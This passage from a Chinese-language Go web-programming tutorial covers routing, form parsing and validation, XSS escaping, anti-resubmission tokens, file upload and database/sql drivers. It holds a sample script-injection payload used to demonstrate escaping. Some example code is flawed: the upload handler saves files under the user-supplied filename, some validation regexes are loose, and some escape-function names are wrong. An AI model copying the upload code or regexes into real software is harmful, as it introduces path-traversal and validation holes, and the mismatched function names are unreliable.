`ListenAndServe` 的第二個引數就是用以配置外部路由器的，它是一個 Handler 介面，即外部路由器只要實現了 Handler 介面就可以，我們可以在自己實現的路由器的 `ServeHTTP` 裡面實現自訂路由功能。

如下程式碼所示，我們自己實現了一個簡易的路由器

```
package main

import (
    "fmt"
    "net/http"
)

type MyMux struct {
}

func (p *MyMux) ServeHTTP(w http.ResponseWriter, r *http.Request) {
    if r.URL.Path == "/" {
        sayhelloName(w, r)
        return
    }
    http.NotFound(w, r)
    return
}

func sayhelloName(w http.ResponseWriter, r *http.Request) {
    fmt.Fprintf(w, "Hello myroute!")
}

func main() {
    mux := &MyMux{}
    http.ListenAndServe(":9090", mux)
}
```

## Go 程式碼的執行流程

透過對 http 套件的分析之後，現在讓我們來梳理一下整個的程式碼執行過程。

- 首先呼叫 `Http.HandleFunc`

按順序做了幾件事：

1 呼叫了 DefaultServeMux 的 HandleFunc

2 呼叫了 DefaultServeMux 的 Handle

3 往 DefaultServeMux 的 map[string]muxEntry 中增加對應的 handler 和路由規則

- 其次呼叫 http.ListenAndServe(":9090", nil)

按順序做了幾件事情：

1 例項化 Server

- 2 呼叫 Server 的 ListenAndServe()
  - 3 呼叫 net.Listen("tcp", addr) 監聽埠
  - 4 啟動一個 for 迴圈，在迴圈體中 Accept 請求
  - 5 對每個請求例項化一個 Conn，並且開啓一個 goroutine 爲這個請求進行服務 go c.serve()
  - 6 讀取每個請求的內容 w, err := c.readRequest()
  - 7 判斷 handler 是否爲空，如果沒有設定 handler（這個例子就沒有設定 handler），handler 就設定爲 DefaultServeMux
  - 8 呼叫 handler 的 ServeHttp
  - 9 在這個例子中，下面就進入到 DefaultServeMux.ServeHttp
  - 10 根據 request 選擇 handler，並且進入到這個 handler 的 ServeHTTP
- ```
mux.handler(r).ServeHTTP(w, r)
```
- 11 選擇 handler：
    - A 判斷是否有路由能滿足這個 request（迴圈遍歷 ServeMux 的 muxEntry）
    - B 如果有路由滿足，呼叫這個路由 handler 的 ServeHTTP
    - C 如果沒有路由滿足，呼叫 NotFoundHandler 的 ServeHTTP

## links

- [目錄](#)
- 上一節: [Go 如何使得 web 工作](#)

- 下一節: [小結](#)

## 3.5 小結

這一章我們介紹了 HTTP 協議, DNS 解析的過程, 如何用 go 實現一個簡陋的 web server。並深入到 net/http 套件的原始碼中為大家揭開實現此 server 的祕密。

希望透過這一章的學習，你能夠對 Go 開發 Web 有了初步的瞭解，我們也看到相應的程式碼了，Go 開發 Web 應用是很方便的，同時又是相當的靈活。

## links

- [目錄](#)
- 上一節: [Go 的 http 套件詳解](#)
- 下一章: [表單](#)

## 4 表單

表單是我們平常編寫 Web 應用常用的工具，透過表單我們可以方便的讓客戶端和伺服器進行資料的互動。對於以前開發過 Web 的使用者來說表單都非常熟悉，但是對於 C/C++ 程式設計師來說，這可能是一個有些陌生的東西，那麼什麼是表單呢？

表單是一個包含表單元素的區域。表單元素（比如：文字域、下拉列表、單選框、複選框等等）是允許使用者在表單中輸入資訊的元素。表單使用表單標籤（\）定義。

```
<form>
...
input 元素
...
</form>
```

Go 裡面對於 form 處理已經有很方便的方法了，在 Request 裡面有專門的 form 處理，可以很方便的整合到 Web 開發裡面來，4.1 小節裡面將講解 Go 如何處理表單的輸入。由於不能信任任何使用者的輸入，所以我們需要對這些輸入進行有效性驗證，4.2 小節將就如何進行一些普通的驗證進行詳細的示範。

HTTP 協議是一種無狀態的協議，那麼如何才能辨別是否是同一個使用者呢？同時又如何保證一個表單不出現多次遞交的情況呢？4.3 和 4.4 小節裡面將對 cookie(cookie 是儲存在客戶端的資訊，能夠每次透過 header 和伺服器進行互動的資料)等進行詳細講解。

表單還有一個很大的功能就是能夠上傳檔案，那麼 Go 是如何處理檔案上傳的呢？針對大檔案上傳我們如何有效的處理呢？4.5 小節我們將一起學習 Go 處理檔案上傳的知識。

## 目錄





## links

- [目錄](#)
- 上一章: [第三章總結](#)
- 下一節: [處理表單的輸入](#)

## 4.1 處理表單的輸入

先來看一個表單遞交的例子，我們有如下的表單內容，命名成檔案 `login.gtpl`(放入當前新建專案的目錄裡面)

```
<html>
<head>
<title></title>
</head>
<body>
<form action="/login" method="post">
    使用者名稱:<input type="text" name="username">
    密碼:<input type="password" name="password">
    <input type="submit" value="登入">
</form>
</body>
</html>
```

上面遞交表單到伺服器的 `/login`，當用戶輸入資訊點選登入之後，會跳轉到伺服器的路由 `login` 裡面，我們首先要判斷這個是什麼方式傳遞過來，POST 還是 GET 呢？

http 套件裡面有一個很簡單的方式就可以取得，我們在前面 `web` 的例子的基礎上來看看怎麼處理 `login` 頁面的 `form` 資料

```
package main

import (
    "fmt"
    "html/template"
    "log"
    "net/http"
    "strings"
)
```

```
func sayhelloName(w http.ResponseWriter, r *http.Request) {
    r.ParseForm()          //解析 url 傳遞的引數，對於 POST 則解析響應套
    件的主體 (request body)
    //注意：如果沒有呼叫 ParseForm 方法，下面無法取得表單的資料
    fmt.Println(r.Form)    //這些資訊是輸出到伺服器端的列印資訊
    fmt.Println("path", r.URL.Path)
    fmt.Println("scheme", r.URL.Scheme)
    fmt.Println(r.Form["url_long"])
    for k, v := range r.Form {
        fmt.Println("key:", k)
        fmt.Println("val:", strings.Join(v, ""))
    }
    fmt.Fprintf(w, "Hello astaxie!") //這個寫入到 w 的是輸出到客戶端的
}

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //取得請求的方法
    if r.Method == "GET" {
        t, _ := template.ParseFiles("login.gtpl")
        log.Println(t.Execute(w, nil))
    } else {
        //請求的是登入資料，那麼執行登入的邏輯判斷
        fmt.Println("username:", r.Form["username"])
        fmt.Println("password:", r.Form["password"])
    }
}

func main() {
    http.HandleFunc("/", sayhelloName)      //設定訪問的路由
    http.HandleFunc("/login", login)        //設定訪問的路由
    err := http.ListenAndServe(":9090", nil) //設定監聽的埠
    if err != nil {
        log.Fatal("ListenAndServe: ", err)
    }
}
```

透過上面的程式碼我們可以看出取得請求方法是透過 `r.Method` 來完成的，這是個字串型別的變數，返回 GET, POST, PUT 等 method 資訊。

login 函式中我們根據 `r.Method` 來判斷是顯示登入介面還是處理登入邏輯。當 GET 方式請求時顯示登入介面，其他方式請求時則處理登入邏輯，如查詢資料庫、驗證登入資訊等。

當我們在瀏覽器裡面開啓 `http://127.0.0.1:9090/login` 的時候，出現如下介面



如果你看到一個空頁面，可能是你寫的 `login.gtpl` 檔案中有錯誤，請根據控制檯中的日誌進行修復。

#### 圖 4.1 使用者登入介面

我們輸入使用者名稱和密碼之後發現在伺服器端是不會打印出來任何輸出的，為什麼呢？預設情況下，`Handler` 裡面是不會自動解析 `form` 的，必須顯式的呼叫 `r.ParseForm()` 後，你才能對這個表單資料進行操作。我們修改一下程式碼，在 `fmt.Println("username:", r.Form["username"])` 之前加一行 `r.ParseForm()`，重新編譯，再次測試輸入遞交，現在是不是在伺服器端有輸出你的輸入的使用者名稱和密碼了。

`r.Form` 裡面包含了所有請求的引數，比如 URL 中 `query-string`、POST 的資料、PUT 的資料，所以當你在 URL 中的 `query-string` 欄位和 POST 衝突時，會儲存成一個 `slice`，裡面儲存了多個值，Go 官方文件中說在接下來的版本里面將會把 POST、GET 這些資料分離開來。

現在我們修改一下 `login.gtpl` 裡面 `form` 的 `action`

值 `http://127.0.0.1:9090/login` 修改為 `http://127.0.0.1:9090/login?username=astaxie`，再次測試，伺服器的輸出 `username` 是不是一個 `slice`。伺服器端的輸出如下：



#### 圖 4.2 伺服器端列印接收到的資訊

`request.Form` 是一個 `url.Values` 型別，裡面儲存的是對應的類似 `key=value` 的資訊，下面展示了可以對 `form` 資料進行的一些操作：

```
v := url.Values{}
v.Set("name", "Ava")
v.Add("friend", "Jess")
v.Add("friend", "Sarah")
v.Add("friend", "Zoe")
// v.Encode() == "name=Ava&friend=Jess&friend=Sarah&friend=Zoe"
fmt.Println(v.Get("name"))
fmt.Println(v.Get("friend"))
fmt.Println(v["friend"])
```

**Tips:** Request 本身也提供了 `FormValue()` 函式來取得使用者提交的引數。如 `r.Form["username"]` 也可寫成 `r.FormValue("username")`。呼叫 `r.FormValue` 時會自動呼叫 `r.ParseForm`，所以不必提前呼叫。`r.FormValue` 只會返回同名引數中的第一個，若引數不存在則返回空字串。

## links

- [目錄](#)
  - [上一節: 表單](#)
  - [下一節: 驗證表單的輸入](#)

## 4.2 驗證表單的輸入

開發 Web 的一個原則就是，不能信任使用者輸入的任何資訊，所以驗證和過濾使用者的輸入資訊就變得非常重要，我們經常會在微博、新聞中聽到某某網站被入侵了，存在什麼漏洞，這些大多是因為網站對於使用者輸入的資訊沒有做嚴格的驗證引起的，所以為了編寫出安全可靠的 Web 程式，驗證表單輸入的意義重大。

我們平常編寫 Web 應用主要有兩方面的資料驗證，一個是在頁面端的 js 驗證(目前在這方面有很多的外掛函式庫，比如 ValidationJS 外掛)，一個是在伺服器端的驗證，我們這小節講解的是如何在伺服器端驗證。

### 必填欄位

你想要確保從一個表單元素中得到一個值，例如前面小節裡面的使用者名稱，我們如何處理呢？Go 有一個內建函式 `len` 可以取得字串的長度，這樣我們就可以透過 `len` 來取得資料的長度，例如：

```
if len(r.Form["username"][0])==0{  
    //為空的處理  
}
```

`r.Form` 對不同型別的表單元素的留空有不同的處理，對於空文字框、空文字區域以及檔案上傳，元素的值為空值，而如果是未選中的複選框和單選按鈕，則根本不會在 `r.Form` 中產生相應條目，如果我們用上面例子中的方式去取得資料時程式就會報錯。所以我們需要透過 `r.Form.Get()` 來取得值，因為如果欄位不存在，透過該方式取得的是空值。但是透過 `r.Form.Get()` 只能取得單個的值，如果是 `map` 的值，必須透過上面的方式來取得。

### 數字

你想要確保一個表單輸入框中取得的只能是數字，例如，你想透過表單取得某個人的具體年齡是 50 歲還是 10 歲，而不是像“一把年紀了”或“年輕著呢”這種描述

如果我們是判斷正整數，那麼我們先轉化成 `int` 型別，然後進行處理

```
getint,err:=strconv.Atoi(r.Form.Get("age"))
if err!=nil{
    //數字轉化出錯了，那麼可能就不是數字
}

//接下來就可以判斷這個數字的大小範圍了
if getint >100 {
    //太大了
}
```

還有一種方式就是正則匹配的方式

```
if m, _ := regexp.MatchString("[0-9]+$", r.Form.Get("age")); !m
{
    return false
}
```

對於效能要求很高的使用者來說，這是一個老生常談的問題了，他們認為應該盡量避免使用正則表示式，因為使用正則表示式的速度會比較慢。但是在目前機器效能那麼強勁的情況下，對於這種簡單的正則表示式效率和型別轉換函式是沒有什麼差別的。如果你對正則表示式很熟悉，而且你在其它語言中也在使用它，那麼在 Go 裡面使用正則表示式將是一個便利的方式。

Go 實現的正則是RE2，所有的字元都是 UTF-8 編碼的。

## 中文

有時候我們想透過表單元素取得一個使用者的中文名字，但是又為了保證取得的是正確的中文，我們需要進行驗證，而不是使用者隨便的一些輸入。對於中文我們目前有兩種方式來驗證，可以使用 `unicode` 套件提供的 `func Is(rangeTab *RangeTable, r rune) bool` 來驗證，也可以使用正則方式來驗證，這裡使用最簡單的正則方式，如下程式碼所示

```
if m, _ := regexp.MatchString("^\\p{Han}+$", r.Form.Get("realname")); !m {  
    return false  
}
```

## 英文

我們期望透過表单元素取得一個英文值，例如我們想知道一個使用者的英文名，應該是 **astaxie**，而不是 **asta 謝**。

我們可以很簡單的透過正則驗證資料：

```
if m, _ := regexp.MatchString("^[a-zA-Z]+$", r.Form.Get("engname")); !m {  
    return false  
}
```

## 電子郵件地址

你想知道使用者輸入的一個 **Email** 地址是否正確，透過如下這個方式可以驗證：

```
if m, _ := regexp.MatchString(`^([\w\.\_]{2,10})@(\w{1,})\.([a-z]{2,4})$`, r.Form.Get("email")); !m {  
    fmt.Println("no")  
}else{  
    fmt.Println("yes")  
}
```

## 手機號碼

你想要判斷使用者輸入的手機號碼是否正確，透過正則也可以驗證：



```
if m, _ := regexp.MatchString(`^(1[3|4|5|8][0-9]\d{4,8})$`, r.Form.Get("mobile")); !m {  
    return false  
}
```

## 下拉選單

如果我們想要判斷表單裡面 `<select>` 元素產生的下拉選單中是否有被選中的專案。有些時候黑客可能會偽造這個下拉選單不存在的值傳送給你，那麼如何判斷這個值是否是我們預設的值呢？

我們的 `select` 可能是這樣的一些元素

```
<select name="fruit">  
<option value="apple">apple</option>  
<option value="pear">pear</option>  
<option value="banana">banana</option>  
</select>
```

那麼我們可以這樣來驗證

```
slice := []string{"apple", "pear", "banana"}  
  
v := r.Form.Get("fruit")  
for _, item := range slice {  
    if item == v {  
        return true  
    }  
}  
  
return false
```

## 單選按鈕

如果我們想要判斷 `radio` 按鈕是否有一個被選中了，我們頁面的輸出可能就是一個男、女性別的選擇，但是也可能一個 15 歲大的無聊小孩，一手拿著 `http` 協議的書，另一隻手透過 `telnet` 客戶端向你的程式在傳送請求呢，你設定的性別男值是 1，女是 2，他給你傳送一個 3，你的程式會出現異常嗎？因此我們也需要像下拉選單的判斷方式類似，判斷我們取得的值是我們預設的值，而不是額外的值。

```
<input type="radio" name="gender" value="1">男  
<input type="radio" name="gender" value="2">女
```

那我們也可以類似下拉選單的做法一樣

```
slice:=[]string{"1","2"}  
  
for _, v := range slice {  
    if v == r.Form.Get("gender") {  
        return true  
    }  
}  
return false
```

## 複選框

有一項選擇興趣的複選框，你想確定使用者選中的和你提供給使用者選擇的是同一個型別的資料。

```
<input type="checkbox" name="interest" value="football">足球  
<input type="checkbox" name="interest" value="basketball">籃球  
<input type="checkbox" name="interest" value="tennis">網球
```

對於複選框我們的驗證和單選有點不一樣，因為接收到的資料是一個 `slice`

```
slice:=[]string{"football","basketball","tennis"}
a:=Slice_diff(r.Form["interest"],slice)
if a == nil{
    return true
}

return false
```

上面這個函式 `Slice_diff` 套件含在我開源的一個函式庫裡面(操作 `slice` 和 `map` 的函式庫)，<https://github.com/astaxie/beeku>

## 日期和時間

你想確定使用者填寫的日期或時間是否有效。例如，使用者在日程表中安排 8 月份的第 45 天開會，或者提供未來的某個時間作為生日。

Go 裡面提供了一個 `time` 的處理套件，我們可以把使用者的輸入年月日轉化成相應的時間，然後進行邏輯判斷

```
t := time.Date(2009, time.November, 10, 23, 0, 0, 0, time.UTC)
fmt.Printf("Go launched at %s\n", t.Local())
```

取得 `time` 之後我們就可以進行很多時間函式的操作。具體的判斷就根據自己的需求調整。

## 身份證號碼

如果我們想驗證表單輸入的是否是身份證，透過正則也可以方便的驗證，但是身份證有 15 位和 18 位，我們兩個都需要驗證

```
//驗證 15 位身份證，15 位的是全部數字
if m, _ := regexp.MatchString(`^(\d{15})$`, r.Form.Get("usercard"
)); !m {
    return false
}

//驗證 18 位身份證，18 位前 17 位為數字，最後一位是校驗位，可能為數字或字
元 X。
if m, _ := regexp.MatchString(`^(\d{17})([0-9]|X)$`, r.Form.Get(
"usercard")); !m {
    return false
}
```

上面列出了我們一些常用的伺服器端的表單元素驗證，希望透過這個引匯入門，能夠讓你對 Go 的資料驗證有所瞭解，特別是 Go 裡面的正則處理。

## links

- [目錄](#)
- [上一節: 處理表單的輸入](#)
- [下一節: 預防跨站指令碼](#)

## 4.3 預防跨站指令碼

現在的網站包含大量的動態內容以提高使用者體驗，比過去要複雜得多。所謂動態內容，就是根據使用者環境和需要，Web 應用程式能夠輸出相應的內容。動態站點會受到一種名為“跨站指令碼攻擊”（Cross Site Scripting, 安全專家們通常將其縮寫成 XSS）的威脅，而靜態站點則完全不受其影響。

攻擊者通常會在有漏洞的程式中插入 JavaScript、VBScript、ActiveX 或 Flash 以欺騙使用者。一旦得手，他們可以盜取使用者帳戶資訊，修改使用者設定，盜取/污染 cookie 和植入惡意廣告等。

對 XSS 最佳的防護應該結合以下兩種方法：一是驗證所有輸入資料，有效檢測攻擊(這個我們前面小節已經有過介紹);另一個是對所有輸出資料進行適當的處理，以防止任何已成功注入的指令碼在瀏覽器端執行。

那麼 Go 裡面是怎麼做這個有效防護的呢？Go 的 html/template 裡面帶有下面幾個函式可以幫你轉義

- `func HTML_ESCAPE(w io.Writer, b []byte) //把 b 進行轉義之後寫到 w`
- `func HTML_ESCAPE_STRING(s string) string //轉義 s 之後返回結果字串`
- `func HTML_ESCAPER(args ...interface{}) string //支援多個引數一起轉義，返回結果字串`

我們看 4.1 小節的例子

```
fmt.Println("username:", template.HTML_ESCAPE_STRING(r.Form.Get("username"))) //輸出到伺服器端
fmt.Println("password:", template.HTML_ESCAPE_STRING(r.Form.Get("password")))
template.HTML_ESCAPE(w, []byte(r.Form.Get("username"))) //輸出到客戶端
```

如果我們輸入的 username 是 `<script>alert()</script>`，那麼我們可以在瀏覽器上面看到輸出如下所示：



圖 4.3 Javascript 過濾之後的輸出

Go 的 `html/template` 套件預設幫你過濾了 `html` 標籤，但是有時候你只想要輸出這個 `<script>alert()</script>` 看起來正常的資訊，該怎麼處理？請使用 `text/template`。請看下面的例子：

```
import "text/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!
{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been
pwned')</script>")
```

輸出

```
Hello, <script>alert('you have been pwned')</script>!
```

或者使用 `template.HTML` 型別

```
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!
{{end}}`)
err = t.ExecuteTemplate(out, "T", template.HTML("<script>alert('
you have been pwned')</script>"))
```

輸出

```
Hello, <script>alert('you have been pwned')</script>!
```

轉換成 `template.HTML` 後，變數的內容也不會被轉義

轉義的例子：

```
import "html/template"
...
t, err := template.New("foo").Parse(`{{define "T"}}Hello, {{.}}!
{{end}}`)
err = t.ExecuteTemplate(out, "T", "<script>alert('you have been
pwned')</script>")
```

轉義之後的輸出：

```
Hello, &lt;script&gt;alert(&#39;you have been pwned&#39;)&lt;/sc
ript&gt;!
```

## links

- [目錄](#)
- 上一節: [驗證的輸入](#)
- 下一節: [防止多次遞交表單](#)

## 4.4 防止多次遞交表單

不知道你是否曾經看到過一個論壇或者部落格，在一個帖子或者文章後面出現多條重複的記錄，這些大多數是因為使用者重複遞交了留言的表單引起的。由於種種原因，使用者經常會重複遞交表單。通常這只是滑鼠的誤操作，如雙擊了遞交按鈕，也可能是為了編輯或者再次核對填寫過的資訊，點選了瀏覽器的後退按鈕，然後又再次點選了遞交按鈕而不是瀏覽器的前進按鈕。當然，也可能是故意的——比如，在某項線上調查或者博彩活動中重複投票。那我們如何有效的防止使用者多次遞交相同的表單呢？

解決方案是在表單中新增一個帶有唯一值的隱藏欄位。在驗證表單時，先檢查帶有該唯一值的表單是否已經遞交過了。如果是，拒絕再次遞交；如果不是，則處理表單進行邏輯處理。另外，如果是採用了 Ajax 模式遞交表單的話，當表單遞交後，透過 javascript 來禁用表單的遞交按鈕。

我繼續拿 4.2 小節的例子優化：

```
<input type="checkbox" name="interest" value="football">足球  
<input type="checkbox" name="interest" value="basketball">籃球  
<input type="checkbox" name="interest" value="tennis">網球  
使用者名稱:<input type="text" name="username">  
密碼:<input type="password" name="password">  
<input type="hidden" name="token" value="{.}">  
<input type="submit" value="登陸">
```

我們在模版裡面增加了一個隱藏欄位 `token`，這個值我們透過 MD5(時間戳)來取得唯一值，然後我們把這個值儲存到伺服器端(session 來控制，我們將在第六章講解如何儲存)，以方便表單提交時比對判定。



```

func login(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //取得請求的方法
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("login.gtpl")
        t.Execute(w, token)
    } else {
        //請求的是登陸資料，那麼執行登陸的邏輯判斷
        r.ParseForm()
        token := r.Form.Get("token")
        if token != "" {
            //驗證 token 的合法性
        } else {
            //不存在 token 報錯
        }
        fmt.Println("username length:", len(r.Form["username"][0]))
        fmt.Println("username:", template.HTMLEscapeString(r.Form.Get("username"))) //輸出到伺服器端
        fmt.Println("password:", template.HTMLEscapeString(r.Form.Get("password")))
        template.HTMLEscape(w, []byte(r.Form.Get("username"))) //輸出到客戶端
    }
}

```

上面的程式碼輸出到頁面的原始碼如下：



圖 4.4 增加 token 之後在客戶端輸出的原始碼資訊

我們看到 token 已經有輸出值，你可以不斷的重新整理，可以看到這個值在不斷的變化。這樣就保證了每次顯示 form 表單的時候都是唯一的，使用者遞交的表單保持了唯一性。

我們的解決方案可以防止非惡意的攻擊，並能使惡意使用者暫時不知所措，然後，它卻不能排除所有的欺騙性的動機，對此類別情況還需要更復雜的工作。

## links

- [目錄](#)
- 上一節: [預防跨站指令碼](#)
- 下一節: [處理檔案上傳](#)

## 4.5 處理檔案上傳

你想處理一個由使用者上傳的檔案，比如你正在建設一個類似 Instagram 的網站，你需要儲存使用者拍攝的照片。這種需求該如何實現呢？

要使表單能夠上傳檔案，首先第一步就是要新增 form 的 `enctype` 屬性，`enctype` 屬性有如下三種情況：

`application/x-www-form-urlencoded` 表示在傳送前編碼所有字元（預設）  
`multipart/form-data` 不對字元編碼。在使用包含檔案上傳控制元件的表單時，必須使用該值。  
`text/plain` 空格轉換為 "+" 加號，但不對特殊字元編碼。

所以，建立新的表單 html 檔案，命名為 `upload.gtpl`，html 程式碼應該類似於：

```
<html>
<head>
  <title>上傳檔案</title>
</head>
<body>
<form enctype="multipart/form-data" action="/upload" method="post">
  <input type="file" name="uploadfile" />
  <input type="hidden" name="token" value="{{.}}" />
  <input type="submit" value="upload" />
</form>
</body>
</html>
```

在伺服器端，我們增加一個 `handlerFunc`：

```
http.HandleFunc("/upload", upload)

// 處理/upload 邏輯
func upload(w http.ResponseWriter, r *http.Request) {
    fmt.Println("method:", r.Method) //取得請求的方法
    if r.Method == "GET" {
        crutime := time.Now().Unix()
        h := md5.New()
        io.WriteString(h, strconv.FormatInt(crutime, 10))
        token := fmt.Sprintf("%x", h.Sum(nil))

        t, _ := template.ParseFiles("upload.gtpl")
        t.Execute(w, token)
    } else {
        r.ParseMultipartForm(32 << 20)
        file, handler, err := r.FormFile("uploadfile")
        if err != nil {
            fmt.Println(err)
            return
        }
        defer file.Close()
        fmt.Fprintf(w, "%v", handler.Header)
        f, err := os.OpenFile("./test/"+handler.Filename, os.O_WRONLY|os.O_CREATE, 0666) // 此處假設當前目錄下已存在 test 目錄
        if err != nil {
            fmt.Println(err)
            return
        }
        defer f.Close()
        io.Copy(f, file)
    }
}
```

透過上面的程式碼可以看到，處理檔案上傳我們需要呼

叫 `r.ParseMultipartForm`，裡面的引數表示 `maxMemory`，呼叫

`ParseMultipartForm` 之後，上傳的檔案儲存在 `maxMemory` 大小的記憶體裡

面，如果檔案大小超過了 `maxMemory`，那麼剩下的部分將儲存在系統的臨時檔案中。我們可以透過 `r.FormFile` 取得上面的檔案控制代碼，然後例項中使用了 `io.Copy` 來儲存檔案。

取得其他非檔案欄位資訊的時候就不需要呼叫 `r.ParseForm`，因為在需要的時候 Go 自動會去呼叫。而且 `ParseMultipartForm` 呼叫一次之後，後面再次呼叫不會再有效果。

透過上面的例項我們可以看到我們上傳檔案主要三步處理：

1. 表單中增加 `enctype="multipart/form-data"`
2. 伺服器端呼叫 `r.ParseMultipartForm`，把上傳的檔案儲存在記憶體和臨時檔案中
3. 使用 `r.FormFile` 取得檔案控制代碼，然後對檔案進行儲存等處理。

檔案 handler 是 `multipart.FileHeader`，裡面儲存瞭如下結構資訊

```
type FileHeader struct {  
    Filename string  
    Header  textproto.MIMEHeader  
    // contains filtered or unexported fields  
}
```

我們透過上面的例項程式碼打印出來上傳檔案的資訊如下



圖 4.5 列印檔案上傳後伺服器端接受的資訊

## 客戶端上傳檔案

我們上面的例子示範瞭如何透過表單上傳檔案，然後在伺服器端處理檔案，其實 Go 支援模擬客戶端表單功能支援檔案上傳，詳細用法請看如下範例：

```
package main  
  
import (
```

```
"bytes"
"fmt"
"io"
"io/ioutil"
"mime/multipart"
"net/http"
"os"
)

func postFile(filename string, targetUrl string) error {
    bodyBuf := &bytes.Buffer{}
    bodyWriter := multipart.NewWriter(bodyBuf)

    //關鍵的一步操作
    fileWriter, err := bodyWriter.CreateFormFile("uploadfile", filename)
    if err != nil {
        fmt.Println("error writing to buffer")
        return err
    }

    //開啓檔案控制代碼操作
    fh, err := os.Open(filename)
    if err != nil {
        fmt.Println("error opening file")
        return err
    }
    defer fh.Close()

    //iocopy
    _, err = io.Copy(fileWriter, fh)
    if err != nil {
        return err
    }

    contentType := bodyWriter.FormDataContentType()
    bodyWriter.Close()

    resp, err := http.Post(targetUrl, contentType, bodyBuf)
    if err != nil {
```

```
        return err
    }
    defer resp.Body.Close()
    resp_body, err := ioutil.ReadAll(resp.Body)
    if err != nil {
        return err
    }
    fmt.Println(resp.Status)
    fmt.Println(string(resp_body))
    return nil
}

// sample usage
func main() {
    target_url := "http://localhost:9090/upload"
    filename := "./astaxie.pdf"
    postFile(filename, target_url)
}
```

上面的例子詳細展示了客戶端如何向伺服器上傳一個檔案的例子，客戶端透過 `multipart.Write` 把檔案的文字流寫入一個快取中，然後呼叫 `http` 的 `Post` 方法把快取傳到伺服器。

如果你還有其他普通欄位例如 `username` 之類別的需要同時寫入，那麼可以呼叫 `multipart` 的 `WriteField` 方法寫很多其他類似的欄位。

## links

- [目錄](#)
- 上一節: [防止多次遞交表單](#)
- 下一節: [小結](#)

## 4.6 小結

這一章裡面我們學習了 Go 如何處理表單資訊，我們透過使用者登入、上傳檔案的例子展示了 Go 處理 form 表單資訊及上傳檔案的手段。但是在處理表單過程中我們需要驗證使用者輸入的資訊，考慮到網站安全的重要性，資料過濾就顯得相當重要了，因此後面的章節中專門寫了一個小節來講解了不同方面的資料過濾，順帶講一下 Go 對字串的正則處理。

透過這一章能夠讓你瞭解客戶端和伺服器端是如何進行資料上的互動，客戶端將資料傳遞給伺服器系統，伺服器接受資料又把處理結果反饋給客戶端。

## links

- [目錄](#)
- 上一節: [處理檔案上傳](#)
- 下一章: [訪問資料庫](#)



## 5 訪問資料庫

對許多 Web 應用程式而言，資料庫都是其核心所在。資料庫幾乎可以用來儲存你想查詢和修改的任何資訊，比如使用者資訊、產品目錄或者新聞列表等。

Go 沒有內建的驅動支援任何的資料庫，但是 Go 定義了 `database/sql` 介面，使用者可以基於驅動介面開發相應資料庫的驅動，5.1 小節裡面介紹 Go 設計的一些驅動，介紹 Go 是如何設計資料庫驅動介面的。5.2 至 5.4 小節介紹目前使用的比較多的一些關係型資料驅動以及如何使用，5.5 小節介紹我自己開發一個 ORM 函式庫，基於 `database/sql` 標準介面開發的，可以相容幾乎所有支援 `database/sql` 的資料庫驅動，可以方便的使用 Go style 來進行資料庫操作。

目前 NOSQL 已經成為 Web 開發的一個潮流，很多應用採用了 NOSQL 作為資料庫，而不是以前的快取，5.6 小節將介紹 MongoDB 和 Redis 兩種 NOSQL 資料庫。

[Go database/sql tutorial](#) 裡提供了慣用的範例及詳細的說明。

### 目錄



### links

- [目錄](#)
- 上一章: [第四章總結](#)
- 下一節: [database/sql 介面](#)

## 5.1 database/sql 介面

Go 與 PHP 不同的地方是 Go 官方沒有提供資料庫驅動，而是為開發資料庫驅動定義了一些標準介面，開發者可以根據定義的介面來開發相應的資料庫驅動，這樣做有一個好處，只要是按照標準介面開發的程式碼，以後需要遷移資料庫時，不需要任何修改。那麼 Go 都定義了哪些標準介面呢？讓我們來詳細的分析一下

### sql.Register

這個存在於 database/sql 的函式是用來註冊資料庫驅動的，當第三方開發者開發資料庫驅動時，都會實現 init 函式，在 init 裡面會呼叫這個 `Register(name string, driver driver.Driver)` 完成本驅動的註冊。

我們來看一下 `mymysql`、`sqlite3` 的驅動裡面都是怎麼呼叫的：

```
//https://github.com/mattn/go-sqlite3 驅動
func init() {
    sql.Register("sqlite3", &SQLiteDriver{})
}

//https://github.com/mikespook/mymysql 驅動
// Driver automatically registered in database/sql
var d = Driver{proto: "tcp", raddr: "127.0.0.1:3306"}
func init() {
    Register("SET NAMES utf8")
    sql.Register("mymysql", &d)
}
```

我們看到第三方資料庫驅動都是透過呼叫這個函式來註冊自己的資料庫驅動名稱以及相應的 driver 實現。在 database/sql 內部透過一個 map 來儲存使用者定義的相應驅動。

```
var drivers = make(map[string]driver.Driver)

drivers[name] = driver
```

因此透過 `database/sql` 的註冊函式可以同時註冊多個數據函式庫驅動，只要不重複。

在我們使用 `database/sql` 介面和第三方函式庫的時候經常看到如下：

```
import (
    "database/sql"
    _ "github.com/mattn/go-sqlite3"
)
```

新手都會被這個 `_` 所迷惑，其實這個就是 Go 設計的巧妙之處，我們在變數賦值的時候經常看到這個符號，它是用來忽略變數賦值的佔位符，那麼套件引入用到這個符號也是相似的作用，這兒使用 `_` 的意思是引入後面的套件名而不直接使用這個套件中定義的函式，變數等資源。

我們在 2.3 節流程和函式一節中介紹過 `init` 函式的初始化過程，套件在引入的時候會自動呼叫套件的 `init` 函式以完成對套件的初始化。因此，我們引入上面的資料庫驅動套件之後會自動去呼叫 `init` 函式，然後在 `init` 函式裡面註冊這個資料庫驅動，這樣我們就可以在接下來的程式碼中直接使用這個資料庫驅動了。

## driver.Driver

`Driver` 是一個數據函式庫驅動的介面，他定義了一個 method：`Open(name string)`，這個方法返回一個數據函式庫的 `Conn` 介面。

```
type Driver interface {
    Open(name string) (Conn, error)
}
```

返回的 Conn 只能用來進行一次 goroutine 的操作，也就是說不能把這個 Conn 應用於 Go 的多個 goroutine 裡面。如下程式碼會出現錯誤

```
...
go goroutineA (Conn) //執行查詢操作
go goroutineB (Conn) //執行插入操作
...
```

上面這樣的程式碼可能會使 Go 不知道某個操作究竟是由哪個 goroutine 發起的，從而導致資料混亂，比如可能會把 goroutineA 裡面執行的查詢操作的結果返回給 goroutineB 從而使 B 錯誤地把此結果當成自己執行的插入資料。

